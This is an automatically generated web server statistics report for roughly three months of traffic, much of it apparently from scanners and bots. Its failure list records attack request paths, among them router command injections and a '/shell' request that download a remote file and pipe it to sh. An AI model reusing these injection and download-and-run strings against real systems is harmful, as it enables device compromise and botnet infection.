Program started at Wed-05-Feb-2025 00:17.
Analysed requests from Thu-07-Nov-2024 00:01 to Tue-04-Feb-2025 23:43 (89.99 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 05-Feb-2025 00:17.
Successful requests: 6,541 (475)
Average successful requests per day: 72 (67)
Successful requests for pages: 6,539 (475)
Average successful requests for pages per day: 72 (67)
Failed requests: 2,738 (170)
Redirected requests: 10,333 (588)
Distinct files requested: 15 (4)
Distinct hosts served: 2,227 (197)
Corrupt logfile lines: 1,313
Unwanted logfile entries: 422,672
Data transferred: 6.30 megabytes (465.84 kilobytes)
Average data transferred per day: 71.64 kilobytes (66.55 kilobytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 60 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Nov 2024 | 1800 | 1800 | |
Dec 2024 | 2200 | 2198 | |
Jan 2025 | 2307 | 2307 | |
Feb 2025 | 234 | 234 |
Busiest month: Jan 2025 (2,307 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 15 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
3/Nov/24 | 194 | 194 | |
10/Nov/24 | 583 | 583 | |
17/Nov/24 | 577 | 577 | |
24/Nov/24 | 446 | 446 | |
1/Dec/24 | 537 | 536 | |
8/Dec/24 | 500 | 500 | |
15/Dec/24 | 471 | 471 | |
22/Dec/24 | 512 | 512 | |
29/Dec/24 | 455 | 454 | |
5/Jan/25 | 612 | 612 | |
12/Jan/25 | 506 | 506 | |
19/Jan/25 | 474 | 474 | |
26/Jan/25 | 496 | 496 | |
2/Feb/25 | 178 | 178 |
Busiest week: week beginning 5/Jan/25 (612 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 3 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
25/Dec/24 | 84 | 84 | |
26/Dec/24 | 71 | 71 | |
27/Dec/24 | 63 | 63 | |
28/Dec/24 | 76 | 76 | |
29/Dec/24 | 63 | 62 | |
30/Dec/24 | 58 | 58 | |
31/Dec/24 | 59 | 59 | |
1/Jan/25 | 90 | 90 | |
2/Jan/25 | 71 | 71 | |
3/Jan/25 | 62 | 62 | |
4/Jan/25 | 52 | 52 | |
5/Jan/25 | 90 | 90 | |
6/Jan/25 | 99 | 99 | |
7/Jan/25 | 89 | 89 | |
8/Jan/25 | 71 | 71 | |
9/Jan/25 | 102 | 102 | |
10/Jan/25 | 85 | 85 | |
11/Jan/25 | 76 | 76 | |
12/Jan/25 | 72 | 72 | |
13/Jan/25 | 89 | 89 | |
14/Jan/25 | 80 | 80 | |
15/Jan/25 | 54 | 54 | |
16/Jan/25 | 59 | 59 | |
17/Jan/25 | 74 | 74 | |
18/Jan/25 | 78 | 78 | |
19/Jan/25 | 75 | 75 | |
20/Jan/25 | 70 | 70 | |
21/Jan/25 | 86 | 86 | |
22/Jan/25 | 53 | 53 | |
23/Jan/25 | 67 | 67 | |
24/Jan/25 | 63 | 63 | |
25/Jan/25 | 60 | 60 | |
26/Jan/25 | 51 | 51 | |
27/Jan/25 | 69 | 69 | |
28/Jan/25 | 79 | 79 | |
29/Jan/25 | 98 | 98 | |
30/Jan/25 | 92 | 92 | |
31/Jan/25 | 51 | 51 | |
1/Feb/25 | 56 | 56 | |
2/Feb/25 | 58 | 58 | |
3/Feb/25 | 60 | 60 | |
4/Feb/25 | 60 | 60 |
Busiest day: 12/Nov/24 (111 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 25 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 873 | 872 | |
Mon | 986 | 986 | |
Tue | 990 | 990 | |
Wed | 956 | 956 | |
Thu | 962 | 962 | |
Fri | 883 | 882 | |
Sat | 891 | 891 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 8 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 269 | 269 | |
1 | 263 | 263 | |
2 | 271 | 271 | |
3 | 287 | 287 | |
4 | 284 | 284 | |
5 | 290 | 290 | |
6 | 299 | 298 | |
7 | 235 | 235 | |
8 | 263 | 263 | |
9 | 315 | 314 | |
10 | 247 | 247 | |
11 | 257 | 257 | |
12 | 290 | 290 | |
13 | 280 | 280 | |
14 | 265 | 265 | |
15 | 256 | 256 | |
16 | 244 | 244 | |
17 | 265 | 265 | |
18 | 265 | 265 | |
19 | 282 | 282 | |
20 | 299 | 299 | |
21 | 288 | 288 | |
22 | 252 | 252 | |
23 | 275 | 275 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
3577 | 55.02% | [unresolved numerical addresses] |
1531 | 23.25% | .com (Commercial) |
771 | 11.80% | .net (Networks) |
181 | 2.72% | .org (Non Profit Making Organisations) |
95 | 1.35% | [unknown domain] |
59 | 0.85% | .us (United States) |
51 | 0.81% | .uk (United Kingdom) |
41 | 0.63% | .jp (Japan) |
34 | 0.51% | .io (British Indian Ocean Territory) |
25 | 0.38% | .cn (China) |
22 | 0.34% | .it (Italy) |
18 | 0.26% | .ru (Russia) |
12 | 0.18% | .tw (Taiwan) |
12 | 0.18% | .th (Thailand) |
12 | 0.18% | .br (Brazil) |
10 | 0.15% | .in (India) |
7 | 0.11% | .ws (Samoa) |
6 | 0.09% | .hu (Hungary) |
6 | 0.09% | .pl (Poland) |
5 | 0.08% | .co (Colombia) |
4 | 0.06% | .ch (Switzerland) |
4 | 0.06% | .au (Australia) |
5 | 0.06% | .de (Germany) |
3 | 0.05% | .sg (Singapore) |
3 | 0.05% | .kh (Cambodia) |
3 | 0.05% | .cz (Czech Republic) |
3 | 0.05% | .ar (Argentina) |
3 | 0.05% | .edu (USA Higher Education) |
2 | 0.03% | .nz (New Zealand) |
2 | 0.03% | .lt (Lithuania) |
2 | 0.03% | .tt (Trinidad and Tobago) |
2 | 0.03% | .gr (Greece) |
2 | 0.03% | .arpa (Arpanet) |
2 | 0.03% | .ec (Ecuador) |
2 | 0.03% | .id (Indonesia) |
2 | 0.03% | .ua (Ukraine) |
2 | 0.03% | .ir (Iran) |
1 | 0.02% | .by (Belarus) |
1 | 0.02% | .sh (Saint Helena) |
1 | 0.02% | .mx (Mexico) |
1 | 0.02% | .fr (France) |
1 | 0.02% | .ro (Romania) |
1 | 0.02% | .sc (Seychelles) |
1 | 0.02% | .hk (Hong Kong) |
1 | 0.02% | .hr (Croatia) |
1 | 0.02% | [domain not given] |
1 | 0.02% | .tr (Turkey) |
1 | 0.02% | .am (Armenia) |
1 | 0.02% | .my (Malaysia) |
1 | 0.02% | .bg (Bulgaria) |
1 | 0.02% | .ke (Kenya) |
1 | 0.02% | .sk (Slovakia) |
1 | 0.02% | .lu (Luxembourg) |
1 | 0.02% | .lv (Latvia) |
1 | 0.02% | .tv (Tuvalu) |
1 | 0.02% | .al (Albania) |
1 | 0.02% | .md (Moldova) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
871 | 13.63% | 95 |
356 | 5.59% | privatelayer.com |
300 | 4.62% | hinet.net |
280 | 4.27% | serveroffer.net |
277 | 4.19% | 185.191 |
221 | 3.53% | showfreevids.com |
197 | 2.90% | googleusercontent.com |
181 | 2.75% | 5 |
171 | 2.63% | group-ib.com |
141 | 2.13% | 146.19 |
127 | 1.96% | 80.94 |
108 | 1.66% | 195.3 |
106 | 1.59% | amazonaws.com |
95 | 1.35% | [unknown domain] |
91 | 1.38% | 167.94 |
88 | 1.36% | 92 |
84 | 1.27% | 185.196 |
80 | 1.21% | shadowserver.org |
79 | 1.23% | 154.213 |
78 | 1.18% | censys-scanner.com |
2610 | 39.58% | [not listed: 546 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
53 | 0.82% | 5.8.11.202 |
112 | 1.69% | 5.181.190.248 |
35 | 0.53% | 45.148.10.242 |
125 | 1.93% | 80.94.93.191 |
29 | 0.46% | 91.223.3.201 |
87 | 1.34% | 92.255.57.58 |
66 | 1.05% | 95.214.53.91 |
18 | 0.28% | 95.214.53.198 |
21 | 0.32% | 95.214.53.202 |
262 | 4.05% | 95.214.53.205 |
36 | 0.54% | 95.214.55.32 |
190 | 3.03% | 95.214.55.43 |
144 | 2.30% | 95.214.55.79 |
24 | 0.37% | 95.214.55.185 |
23 | 0.35% | 95.214.55.186 |
48 | 0.73% | 95.214.55.226 |
25 | 0.36% | 104.156.155.30 |
32 | 0.48% | 146.19.24.18 |
109 | 1.65% | 146.19.24.168 |
16 | 0.25% | 149.50.106.25 |
28 | 0.42% | 154.213.184.43 |
45 | 0.72% | 154.213.191.23 |
32 | 0.48% | 185.16.39.9 |
88 | 1.33% | 185.191.126.213 |
189 | 2.86% | 185.191.126.248 |
83 | 1.25% | 185.196.220.253 |
76 | 1.16% | 193.34.212.75 |
23 | 0.37% | 193.200.78.250 |
35 | 0.54% | 194.50.16.198 |
104 | 1.60% | 195.3.223.55 |
75 | 1.13% | security.criminalip.com |
171 | 2.63% | rnd.group-ib.com |
24 | 0.35% | 172-104-4-17.ip.linodeusercontent.com |
32 | 0.49% | buzz.medyamol.com |
356 | 5.59% | hostedby.privatelayer.com |
22 | 0.35% | showfreevids.com |
31 | 0.49% | movie.showfreevids.com |
30 | 0.48% | tv.showfreevids.com |
44 | 0.70% | tvseries.showfreevids.com |
28 | 0.45% | tvshows.showfreevids.com |
20 | 0.32% | video.showfreevids.com |
26 | 0.42% | watch-pacquiao-vs-mosley.showfreevids.com |
20 | 0.32% | www.showfreevids.com |
22 | 0.33% | ns5032588.ip-148-113-208.net |
132 | 2.00% | srv-141-98-11-155.serveroffer.net |
29 | 0.46% | srv-141-98-11-178.serveroffer.net |
111 | 1.68% | srv-141-98-11-35.serveroffer.net |
17 | 0.26% | internettl.org |
50 | 0.80% | play11.chelseafanclub.co.uk |
23 | 0.33% | ns1007445.ip-51-81-155.us |
3120 | 47.16% | [not listed: 2,177 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
6 | [not listed: 5 URLs] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the vendors of visitors' browsers.
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
no. | reqs | pages | browser |
---|---|---|---|
1 | 2411 | 2409 | Chrome |
1242 | 1242 | Chrome/90 | |
123 | 123 | Chrome/51 | |
100 | 100 | Chrome/52 | |
93 | 93 | Chrome/78 | |
83 | 83 | Chrome/126 | |
80 | 78 | Chrome/60 | |
75 | 75 | Chrome/88 | |
61 | 61 | Chrome/108 | |
54 | 54 | Chrome/81 | |
34 | 34 | Chrome/131 | |
2 | 520 | 520 | Safari |
419 | 419 | Safari/534 | |
43 | 43 | Safari/601 | |
21 | 21 | Safari/604 | |
21 | 21 | Safari/605 | |
3 | 3 | Safari/600 | |
3 | 3 | Safari/525 | |
2 | 2 | Safari/7046A194A | |
2 | 2 | Safari/533 | |
1 | 1 | Safari/602 | |
1 | 1 | Safari/523 | |
3 | 442 | 442 | curl |
442 | 442 | curl/7 | |
4 | 243 | 243 | Netscape (compatible) |
5 | 206 | 206 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
206 | 206 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
6 | 181 | 181 | Mozilla |
2 | 2 | Mozilla/1 | |
1 | 1 | Mozilla/2 | |
7 | 149 | 149 | Firefox |
42 | 42 | Firefox/130 | |
13 | 13 | Firefox/8 | |
13 | 13 | Firefox/118 | |
9 | 9 | Firefox/102 | |
7 | 7 | Firefox/77 | |
6 | 6 | Firefox/65 | |
5 | 5 | Firefox/125 | |
5 | 5 | Firefox/76 | |
4 | 4 | Firefox/3 | |
3 | 3 | Firefox/124 | |
8 | 145 | 145 | python-requests |
145 | 145 | python-requests/2 | |
9 | 145 | 145 | masscan |
145 | 145 | masscan/1 | |
10 | 101 | 101 | Hello World |
10 | 10 | Hello World/1 | |
11 | 55 | 55 | Linux Gnu (cow) |
12 | 33 | 33 | Mozila |
33 | 33 | Mozila/5 | |
13 | 30 | 30 | l9tcpid |
30 | 30 | l9tcpid/v1 | |
14 | 22 | 22 | 'Mozilla |
22 | 22 | 'Mozilla/5 | |
15 | 11 | 11 | MSIE |
4 | 4 | MSIE/9 | |
3 | 3 | MSIE/10 | |
3 | 3 | MSIE/7 | |
1 | 1 | MSIE/8 | |
16 | 9 | 9 | Opera |
7 | 7 | Opera/9 | |
1 | 1 | Opera/8 | |
1 | 1 | Opera/7 | |
17 | 8 | 8 | Go-http-client |
8 | 8 | Go-http-client/1 | |
18 | 8 | 8 | GCore Labs Cyberthreat Research |
19 | 7 | 7 | HTTP Banner Detection (https: |
7 | 7 | HTTP Banner Detection (https://security | |
20 | 6 | 6 | libwww-perl |
6 | 6 | libwww-perl/6 | |
41 | 41 | [not listed: 24 browsers] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the operating systems used by visitors.
Listing operating systems, sorted by the number of requests for pages.
no. | reqs | pages | OS |
---|---|---|---|
1 | 2124 | 2122 | Windows |
1848 | 1846 | Windows NT | |
211 | 211 | Windows 7 | |
33 | 33 | Unknown Windows | |
13 | 13 | Windows 8 | |
8 | 8 | Windows XP | |
6 | 6 | Windows Vista | |
2 | 2 | Windows Server 2003 | |
1 | 1 | Windows CE | |
1 | 1 | Windows 2000 | |
1 | 1 | Windows ME | |
2 | 1554 | 1554 | OS unknown |
3 | 765 | 765 | Unix |
759 | 759 | Linux | |
2 | 2 | OpenBSD | |
1 | 1 | SunOS | |
1 | 1 | NetBSD | |
1 | 1 | FreeBSD | |
1 | 1 | Other Unix | |
4 | 302 | 302 | Macintosh |
5 | 24 | 24 | Known robots |
6 | 3 | 3 | OS/2 |
7 | 1 | 1 | Symbian OS |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
915 | /x16/x03/x01 |
401 | /cgi-bin/luci/ |
97 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
23 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.163.215.73/moo+-O-+|+sh`) |
12 | /cgi-bin/luci/?form=country&operation=read |
232 | /x16/x03/x02/x01o/x01 |
134 | * |
125 | / |
115 | /bin/sh |
104 | /x16/x03/x01/x05/xa8/x01 |
82 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
58 | /x03 |
52 | MGLNDD_66.39.90.169_80/n |
49 | 12.1.2/n |
48 | /cgi-bin/ |
47 | /cgi-bin/index.cgi |
26 | /x16/x03/x03/x01/xa5/x01 |
24 | /x16/x03/x01/x02 |
20 | /HNAP1/ |
17 | /cgi-bin/authLogin.cgi |
15 | /shell |
11 | /shell?cd+/tmp;rm+-rf+*;wget+ 129.159.107.197/jaws;sh+/tmp/jaws |
15 | /x16/x03/x01/x01$/x01 |
14 | /xff |
14 | www.baidu.com:443 |
13 | /x16/x03/x01/x01/x17/x01 |
13 | /cgi-bin/login.cgi |
12 | /cgi-bin/info.cgi |
11 | Gh0st/xad |
11 | google.com:443 |
10 | HTTP/1.0 |
8 | /x16/x03/x03 |
7 | /x16/x03/x01/x01/xaa/x01 |
7 | /cgi-bin/hotspotlogin.cgi |
100 | [not listed: 49 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
6534 | 99.95% | 4/Feb/25 23:42 | / |
87 | 1.34% | 4/Feb/25 13:12 | /?XDEBUG_SESSION_START=phpstorm |
11 | 0.17% | 4/Feb/25 06:47 | /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 |
11 | 0.17% | 4/Feb/25 06:47 | /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 |
5 | 0.05% | 28/Jan/25 03:40 | [not listed: 4 files] |